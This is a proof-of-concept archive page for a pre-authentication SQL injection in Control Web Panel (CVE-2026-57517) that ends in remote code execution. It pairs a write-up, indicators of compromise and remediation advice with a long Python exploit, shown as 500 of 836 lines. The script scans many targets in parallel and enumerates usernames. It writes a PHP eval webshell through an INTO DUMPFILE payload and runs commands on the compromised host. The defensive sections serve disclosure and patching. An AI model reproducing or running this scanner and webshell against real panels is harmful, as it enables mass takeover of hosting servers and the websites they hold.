PoC Archive PoC Archive
Critical CVE-2026-57517 patched

Control Web Panel Pre-Auth Blind SQL Injection to RCE — CVE-2026-57517

by shinthink — [github.com/shinthink](https://github.com/shinthink) (vulnerability originally reported by Egidio Romano / Karma In Security, KIS-2026-12) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-57517
Category
web
Affected product
Control Web Panel (CWP) — user panel (port 2083)
Affected versions
<= 0.9.8.1224 (fixed in 0.9.8.1225)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07-04
Author / Researchershinthink — github.com/shinthink (vulnerability originally reported by Egidio Romano / Karma In Security, KIS-2026-12)
CVE / AdvisoryCVE-2026-57517
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, per source repository)
StatusPoC
Tagscontrol-web-panel, cwp, sqli, into-dumpfile, webshell, unauth-rce, hosting-panel
RelatedN/A

Affected Target

FieldValue
Software / SystemControl Web Panel (CWP) — user panel (port 2083)
Versions Affected<= 0.9.8.1224 (fixed in 0.9.8.1225)
Language / PlatformPHP / MySQL (target); PoC client in Python 3.8+
Authentication RequiredNo — pre-authentication injection point in the user panel; the tool auto-enumerates or accepts a known CWP username but does not need valid credentials
Network Access RequiredYes — CWP user panel port 2083 and the resulting webshell port 2031

Summary

Control Web Panel versions <= 0.9.8.1224 contain a pre-authentication blind SQL injection in the userRes POST parameter of the user panel endpoint (/{username}/). The backend query runs with MySQL root privileges, which hold the global FILE privilege, allowing an attacker to use a UNION SELECT ... INTO DUMPFILE injection to write an arbitrary file — in practice a PHP web shell — to the web-accessible Roundcube logs directory served on port 2031. Once written, the shell is reachable over HTTP and executes attacker-supplied commands, yielding remote code execution as the cwpsvc service account. The PoC automates username discovery, the SQLi-based file write, shell validation, and command execution (including an interactive shell mode).


Vulnerability Details

Root Cause

The CWP user panel does not sanitize the userRes POST parameter before embedding it in a SQL query executed with MySQL root privileges. Because MySQL root retains the FILE privilege, an attacker-controlled UNION SELECT can append INTO DUMPFILE '<path>' to write an arbitrary byte-exact file to disk — including into /usr/local/cwpsrv/var/services/roundcube/logs/, a directory served by the CWP web server on port 2031. Writing a minimal PHP file there (<?php eval(base64_decode($_SERVER["HTTP_C"])); ?>) creates a web shell that executes base64-encoded PHP supplied via the C: HTTP header.

Attack Vector

  1. Detect Control Web Panel by probing port 2083 for CWP-specific HTML/branding indicators.
  2. Enumerate or validate a CWP username by probing /{username}/ for a 200 response with panel markers, or via login-response timing/content differential techniques, or accept a username supplied directly (-u).
  3. Build a 13-column UNION SELECT payload embedding a hex-encoded PHP web shell, terminated with INTO DUMPFILE '<target_path>', and POST it as the userRes parameter to https://{host}:2083/{username}/. Several destination paths/extensions inside the Roundcube logs directory are tried as fallbacks.
  4. Because the injection is blind, success is verified out-of-band: request the resulting shell URL on port 2031 with a C: header containing base64-encoded PHP that echoes a random token; a matching response confirms the shell was written and executes.
  5. Execute arbitrary commands by sending further base64-encoded PHP (passthru(base64_decode(...))) via the C: header and parsing the output between markers.
  6. Optionally clean up by instructing the shell to unlink(__FILE__).

Impact

An unauthenticated (or username-only) remote attacker can execute arbitrary OS commands as the cwpsvc service account on any Control Web Panel host running a vulnerable version, leading to full hosting-panel compromise, access to every hosted account/website managed by that CWP instance, and a pivot point into the broader hosting environment.


Environment / Lab Setup

Target:   Control Web Panel <= 0.9.8.1224, user panel reachable on port 2083, Roundcube logs directory web-accessible on port 2031.
Attacker: Python 3.8+, `requests` (see requirements.txt); network reachability to target ports 2083 and 2031.

Proof of Concept

PoC Script

See cve_2026_57517.py in this folder.

1
2
3
4
5
6
7
8
9
pip install -r requirements.txt

python cve_2026_57517.py -t 192.168.1.100

python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc

python cve_2026_57517.py -f targets.txt -o live.txt

python cve_2026_57517.py -t target.com --rce -u cwpsvc

The script detects CWP, finds/validates a username, injects the INTO DUMPFILE payload to drop a PHP web shell in the Roundcube logs directory, validates code execution via a token-based header check, optionally opens an interactive command shell, and writes live results plus a JSON summary. By default the shell is removed after use (--no-cleanup leaves it in place).


Detection & Indicators of Compromise

POST /{username}/  HTTP/1.1
Host: target:2083
userRes=" UNION SELECT 1,0x<hex-encoded-php>,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/<name>.php' #

GET /roundcube/logs/<name>.php  HTTP/1.1
Host: target:2031
C: <base64-encoded PHP command>

Signs of compromise:

  • Unexpected .php/.phtml/.txt files inside /usr/local/cwpsrv/var/services/roundcube/logs/ or /usr/local/cwpsrv/htdocs/roundcube/logs/.
  • Requests to the CWP user panel (/{username}/) with userRes values containing UNION SELECT or INTO DUMPFILE.
  • Requests to :2031/roundcube/logs/*.php carrying an unusual custom C: HTTP header.
  • MySQL logs showing the CWP application account issuing INTO DUMPFILE writes to the Roundcube logs path.

Remediation

ActionDetail
Primary fixUpgrade Control Web Panel to version 0.9.8.1225 or later, which fixes the userRes SQL injection.
Interim mitigationRestrict network access to CWP ports 2083/2031 to trusted management networks; ensure the MySQL account used by the CWP application does not hold the global FILE privilege; make the Roundcube logs directory non-writable/non-executable for PHP where feasible; monitor for unexpected files in that directory.

References


Notes

Mirrored from https://github.com/shinthink/CVE-2026-57517 on 2026-07-05. Skipped assets/banner.png and assets/banner.svg (cosmetic README branding assets, not part of the PoC itself).

cve_2026_57517.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2026-57517 — Control Web Panel (CWP)
Blind SQL Injection → RCE via INTO DUMPFILE Webshell
Mass Scanner + Validator + Interactive Shell
"""

import requests
import re
import sys
import os
import json
import time
import random
import base64
import hashlib
import argparse
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from dataclasses import dataclass
from typing import Optional

# Silence SSL noise
import urllib3
urllib3.disable_warnings()
import warnings
warnings.filterwarnings("ignore")

# =============================================================================
# Config
# =============================================================================

TIMEOUT = 15
MAX_WORKERS = 20
CWP_PORT = 2083
WEBSHELL_PORT = 2031

# Common CWP usernames
CWP_USERNAMES = [
    "admin", "root", "cwp", "cwpsvc", "cwpsrv",
    "user", "test", "webmaster", "administrator", "website",
    "hosting", "client", "demo", "manager", "support",
]

# Username discovery endpoints — try login response diff
USER_CHECK_ENDPOINTS = [
    "/",                          # main user panel page
    "/login/index.php",           # login page
]

# =============================================================================
# Helpers
# =============================================================================

def hex_enc(s: str) -> str:
    """Convert string to MySQL hex literal 0x..."""
    return "0x" + "".join(f"{ord(c):02x}" for c in s)

def gen_id(length: int = 10) -> str:
    return hashlib.sha256(os.urandom(16)).hexdigest()[:length]

def b64enc(s: str) -> str:
    return base64.b64encode(s.encode()).decode()

def b64dec(s: str) -> str:
    return base64.b64decode(s).decode()

def rand_ua() -> str:
    agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15",
        "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0",
    ]
    return random.choice(agents)


# =============================================================================
# Data
# =============================================================================

@dataclass
class TargetResult:
    url: str
    host: str
    status: str = "pending"
    cwp_detected: bool = False
    username_found: Optional[str] = None
    sql_injection_success: bool = False
    shell_url: Optional[str] = None
    shell_path: Optional[str] = None
    shell_token: Optional[str] = None
    rce_confirmed: bool = False
    rce_output: Optional[str] = None
    whoami: Optional[str] = None
    uname: Optional[str] = None
    error_msg: Optional[str] = None
    elapsed: float = 0.0


# =============================================================================
# Thread-Safe Live Writer
# =============================================================================

class LiveWriter:
    """Write results to TXT file in real-time, thread-safe."""

    def __init__(self, filepath: str):
        self.filepath = filepath
        self.lock = threading.Lock()
        with open(self.filepath, "w") as f:
            f.write(f"# CVE-2026-57517 — CWP Blind SQLi → RCE Exploit\n")
            f.write(f"# Scan started: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
            f.write(f"# {'='*60}\n")
            f.write(f"# FORMAT: STATUS | HOST | USERNAME | SHELL_URL | RCE_OUTPUT\n")
            f.write(f"# {'='*60}\n\n")

    def write(self, result: TargetResult):
        with self.lock:
            with open(self.filepath, "a") as f:
                ts = datetime.now().strftime("%H:%M:%S")
                if result.status == "rce_confirmed":
                    f.write(f"[VULN] [{ts}] {result.host}\n")
                    f.write(f"  Username  : {result.username_found}\n")
                    f.write(f"  Shell     : {result.shell_url}\n")
                    f.write(f"  RCE       : {result.rce_output}\n")
                    f.write(f"  whoami    : {result.whoami}\n")
                    f.write(f"  uname     : {result.uname}\n")
                    f.write(f"  Elapsed   : {result.elapsed:.1f}s\n\n")
                elif result.status == "sqli_failed":
                    f.write(f"[SQLi_FAIL] [{ts}] {result.host}\n")
                    f.write(f"  Username  : {result.username_found}\n")
                    f.write(f"  Error     : {result.error_msg}\n")
                    f.write(f"  Elapsed   : {result.elapsed:.1f}s\n\n")
                elif result.status == "no_username":
                    f.write(f"[NO_USER] [{ts}] {result.host}\n")
                    f.write(f"  Error     : No valid CWP username found\n")
                    f.write(f"  Elapsed   : {result.elapsed:.1f}s\n\n")
                else:
                    f.write(f"[{result.status.upper()}] [{ts}] {result.host}\n")
                    if result.error_msg:
                        f.write(f"  Error     : {result.error_msg}\n")
                    f.write(f"  Elapsed   : {result.elapsed:.1f}s\n\n")
                f.flush()

    def write_summary(self, results: list):
        with self.lock:
            with open(self.filepath, "a") as f:
                total = len(results)
                rce = sum(1 for r in results if r.status == "rce_confirmed")
                sqli_fail = sum(1 for r in results if r.status == "sqli_failed")
                no_user = sum(1 for r in results if r.status == "no_username")
                not_cwp = sum(1 for r in results if r.status == "not_cwp")
                others = total - rce - sqli_fail - no_user - not_cwp
                f.write(f"\n# {'='*60}\n")
                f.write(f"# SCAN SUMMARY\n")
                f.write(f"# Finished : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                f.write(f"# Total    : {total}\n")
                f.write(f"# RCE      : {rce}\n")
                f.write(f"# SQLi Fail: {sqli_fail}\n")
                f.write(f"# No User  : {no_user}\n")
                f.write(f"# Not CWP  : {not_cwp}\n")
                f.write(f"# Other    : {others}\n")
                f.write(f"# {'='*60}\n")
                if rce > 0:
                    f.write(f"\n# CONFIRMED SHELLS:\n")
                    for r in results:
                        if r.status == "rce_confirmed":
                            f.write(f"# {r.host} | {r.username_found} | {r.shell_url}\n")


# =============================================================================
# Scanner + Exploit Engine
# =============================================================================

class CWPExploit:

    def __init__(self, cleanup: bool = True, verbose: bool = False):
        self.cleanup = cleanup
        self.verbose = verbose

    def _session(self) -> requests.Session:
        sess = requests.Session()
        sess.headers.update({"User-Agent": rand_ua()})
        sess.verify = False
        return sess

    # -------------------------------------------------------------------------
    # Detection
    # -------------------------------------------------------------------------

    def detect_cwp(self, host: str) -> bool:
        """Detect if host is running CWP on port 2083."""
        sess = self._session()
        url = f"https://{host}:{CWP_PORT}/"

        try:
            r = sess.get(url, timeout=TIMEOUT, allow_redirects=True)
        except requests.RequestException:
            return False

        # CWP indicators in response
        indicators = [
            "Control Web Panel",
            "CWP",
            "cwpsrv",
            "CentOS Web Panel",
            "cwpsvc",
            "login/index.php",
        ]
        html = r.text[:10000] if r.text else ""
        cookies = "; ".join([f"{c.name}={c.value}" for c in r.cookies])

        found = any(ind.lower() in html.lower() for ind in indicators)
        if not found:
            # Try common CWP paths
            for path in ["/login/index.php", "/cwp_c5f32ae18b2d0a1b_login/index.php"]:
                try:
                    r2 = sess.get(f"https://{host}:{CWP_PORT}{path}", timeout=TIMEOUT)
                    if any(ind.lower() in (r2.text or "").lower() for ind in indicators):
                        found = True
                        break
                except requests.RequestException:
                    continue

        if found and self.verbose:
            print(f"    [+] CWP detected on {host}:{CWP_PORT}")

        return found

    # -------------------------------------------------------------------------
    # Username enumeration
    # -------------------------------------------------------------------------

    def find_username(self, host: str, known_username: Optional[str] = None) -> Optional[str]:
        """
        Find a valid CWP username.
        If known_username is provided, validate it directly.
        Otherwise auto-enumerate via multiple techniques.
        """
        sess = self._session()

        # If user provided a username, just validate it
        if known_username:
            try:
                user_url = f"https://{host}:{CWP_PORT}/{known_username}/"
                r = sess.get(user_url, timeout=TIMEOUT, allow_redirects=False)
                if r.status_code in (200, 302, 301):
                    if self.verbose:
                        print(f"    [+] Username validated: {known_username}")
                    return known_username
            except requests.RequestException:
                pass
            # Even if validation fails, try the SQLi anyway — user might know better
            if self.verbose:
                print(f"    [!] Username '{known_username}' validation uncertain, proceeding anyway")
            return known_username

        # Phase 1: GET /{username}/ — check HTTP 200 + CWP content
        for username in CWP_USERNAMES:
            try:
                user_url = f"https://{host}:{CWP_PORT}/{username}/"
                r = sess.get(user_url, timeout=TIMEOUT, allow_redirects=False)

                if r.status_code == 200:
                    html = (r.text or "")[:8000]
                    # Strong CWP indicators on user panel
                    cwp_markers = ["Control Web Panel", "CWP", "cwpsrv", "User Panel", "logout"]
                    hits = sum(1 for m in cwp_markers if m.lower() in html.lower())
                    if hits >= 1:
                        if self.verbose:
                            print(f"    [+] Valid username: {username} (HTTP 200 + {hits} CWP markers)")
                        return username

                    # 200 without CWP markers — might be redirect to login
                    if self.verbose:
                        print(f"    [?] {username}: HTTP 200 but no CWP markers (redirect?)")

            except requests.RequestException:
                continue

        # Phase 2: Login page error differentiation
        # Valid user + wrong pass → different response than invalid user
        login_url = f"https://{host}:{CWP_PORT}/login/index.php"
        baseline_error = None

        # Get baseline response for definitely-invalid user
        try:
            r = sess.post(login_url, data={"username": "nonexistent_user_xyz99", "password": "test"}, timeout=TIMEOUT)
            baseline_error = (r.text or "")[:3000]
        except requests.RequestException:
            pass

        for username in CWP_USERNAMES:
            try:
                r = sess.post(login_url, data={"username": username, "password": "invalid_test_xyz99"}, timeout=TIMEOUT)
                html = (r.text or "")[:3000]

                # If response differs from baseline, user likely exists
                if baseline_error and html != baseline_error:
                    # Double-check: try a second definitely-invalid user
                    r2 = sess.post(login_url, data={"username": "fake_user_abc88", "password": "test"}, timeout=TIMEOUT)
                    html2 = (r2.text or "")[:3000]
                    if html2 == baseline_error and html != baseline_error:
                        if self.verbose:
                            print(f"    [+] Valid username: {username} (response differs from invalid-user baseline)")
                        return username

            except requests.RequestException:
                continue

        # Phase 3: Try CWP auto-generated username patterns
        patterns = ["cwp_{username}", "cwpsrv", "cwpsvc", "admin"]
        for pattern in patterns:
            try:
                test_user = pattern.format(username="admin") if "{" in pattern else pattern
                r = sess.get(f"https://{host}:{CWP_PORT}/{test_user}/", timeout=TIMEOUT, allow_redirects=False)
                if r.status_code == 200:
                    if self.verbose:
                        print(f"    [+] Valid username: {test_user} (pattern match)")
                    return test_user
            except requests.RequestException:
                continue

        return None

    # -------------------------------------------------------------------------
    # SQL Injection + Webshell Deployment
    # -------------------------------------------------------------------------

    def exploit_sqli(self, host: str, username: str) -> Optional[dict]:
        """
        Exploit blind SQL injection via userRes parameter.
        Write PHP webshell to Roundcube logs directory using INTO DUMPFILE.
        """
        sess = self._session()
        target_url = f"https://{host}:{CWP_PORT}/{username}/"

        shell_id = gen_id(12)
        shell_filename = f"cwp_{shell_id}.php"
        shell_path = f"/usr/local/cwpsrv/var/services/roundcube/logs/{shell_filename}"

        # Minimal PHP webshell — command via HTTP header
        shell_code = '<?php eval(base64_decode($_SERVER["HTTP_C"])); ?>'

        # Build SQL injection payload
        # 13-column UNION SELECT + INTO DUMPFILE
        hex_shell = hex_enc(shell_code)

        # Destination paths to try (primary + fallbacks)
        dest_paths = [
            shell_path,                                                          # primary
            f"/usr/local/cwpsrv/var/services/roundcube/logs/cwp_{shell_id}.phtml",
            f"/usr/local/cwpsrv/var/services/roundcube/logs/cwp_{shell_id}.txt",
            f"/usr/local/cwpsrv/htdocs/roundcube/logs/{shell_filename}",
            f"/usr/local/cwpsrv/var/services/roundcube/logs/{shell_filename}",
        ]

        for dest_path in dest_paths:
            # 13 columns — standard for this CWP query context
            payload = f'" UNION SELECT 1,{hex_shell},3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE \'{dest_path}\' #'

            try:
                r = sess.post(
                    target_url,
                    data={"userRes": payload},
                    timeout=TIMEOUT,
                    allow_redirects=False,
                )
            except requests.RequestException:
                continue

            # Accept any non-500 response (blind — we verify via webshell)
            if r.status_code >= 500:
                continue

            # Verify shell was written
            extracted_path = dest_path.split("/logs/")[-1] if "/logs/" in dest_path else shell_filename
            shell_url = f"https://{host}:{WEBSHELL_PORT}/roundcube/logs/{extracted_path}"

            if self._verify_shell(shell_url):
                if self.verbose:
                    print(f"    [+] Shell deployed: {shell_url}")
                return {
                    "shell_url": shell_url,
                    "shell_path": dest_path,
                    "shell_filename": extracted_path,
                }

        return None

    def _verify_shell(self, shell_url: str) -> bool:
        """Verify webshell executes by sending a simple token check."""
        sess = self._session()
        verify_token = gen_id(16)
        verify_cmd = b64enc(f"echo '{verify_token}';")
        verify_php = b64enc(f"print '___CMD___'; passthru(base64_decode('{verify_cmd}')); print '___CMD___';")

        try:
            r = sess.get(shell_url, headers={"C": verify_php}, timeout=TIMEOUT)
            if r.status_code == 200 and verify_token in r.text:
                return True
        except requests.RequestException:
            pass
        return False

    def exec_command(self, shell_url: str, cmd: str) -> Optional[str]:
        """Execute a command on the webshell."""
        sess = self._session()
        encoded_cmd = b64enc(cmd)
        php_code = b64enc(f"print '___CMD___'; passthru(base64_decode('{encoded_cmd}')); print '___CMD___';")

        try:
            r = sess.get(shell_url, headers={"C": php_code}, timeout=TIMEOUT)
            if r.status_code == 200:
                # Extract output between markers
                m = re.search(r"___CMD___(.*?)___CMD___", r.text, re.DOTALL)
                if m:
                    return m.group(1).strip()
        except requests.RequestException:
            pass
        return None

    def cleanup_shell(self, shell_url: str):
        """Try to delete the webshell."""
        try:
            sess = self._session()
            cleanup = b64enc("@unlink(__FILE__);")
            php = b64enc(f"eval(base64_decode('{cleanup}'));")
            sess.get(shell_url, headers={"C": php}, timeout=5)
        except:
            pass

    # -------------------------------------------------------------------------
    # Full scan & exploit pipeline
    # -------------------------------------------------------------------------

    def run(self, host: str, username: Optional[str] = None) -> TargetResult:
        start = time.time()
        result = TargetResult(url=f"https://{host}:{CWP_PORT}", host=host)

        # Step 1: Detect CWP
        if not self.detect_cwp(host):
            result.status = "not_cwp"
            result.error_msg = "CWP not detected on port 2083"
            result.elapsed = time.time() - start
            return result

        result.cwp_detected = True

        # Step 2: Find/validate username
        username = self.find_username(host, known_username=username)
        if not username:
            result.status = "no_username"
            result.error_msg = "Could not enumerate valid CWP username"
            result.elapsed = time.time() - start
            return result

        result.username_found = username

        # Step 3: SQL injection + deploy webshell
        shell_info = self.exploit_sqli(host, username)
        if not shell_info:
            result.status = "sqli_failed"
            result.error_msg = "SQL injection failed — target may be patched or path not writable"
            result.elapsed = time.time() - start
            return result

        result.shell_url = shell_info["shell_url"]
        result.shell_path = shell_info["shell_path"]
        result.sql_injection_success = True

        # Step 4: Validate RCE
        id_output = self.exec_command(shell_info["shell_url"], "id; hostname; uname -a")
        if id_output:
            result.status = "rce_confirmed"
            result.rce_confirmed = True
            result.rce_output = id_output

            # Extract whoami
            who_match = re.search(r"uid=\d+\((\w+)\)", id_output)
            if who_match:
                result.whoami = who_match.group(1)

            # Extract hostname
            lines = id_output.strip().split("\n")
            if len(lines) >= 2:
                result.uname = lines[-1][:100] if len(lines[-1]) > 10 else id_output[:200]
        else:
            result.status = "sqli_failed"
            result.error_msg = "Shell deployed but command execution failed"

        # Step 5: Cleanup
        if self.cleanup and result.rce_confirmed:
            self.cleanup_shell(shell_info["shell_url"])
            if self.verbose:
                print(f"    [-] Shell cleaned up")

        result.elapsed = time.time() - start
        return result
Showing 500 of 836 lines View full file on GitHub →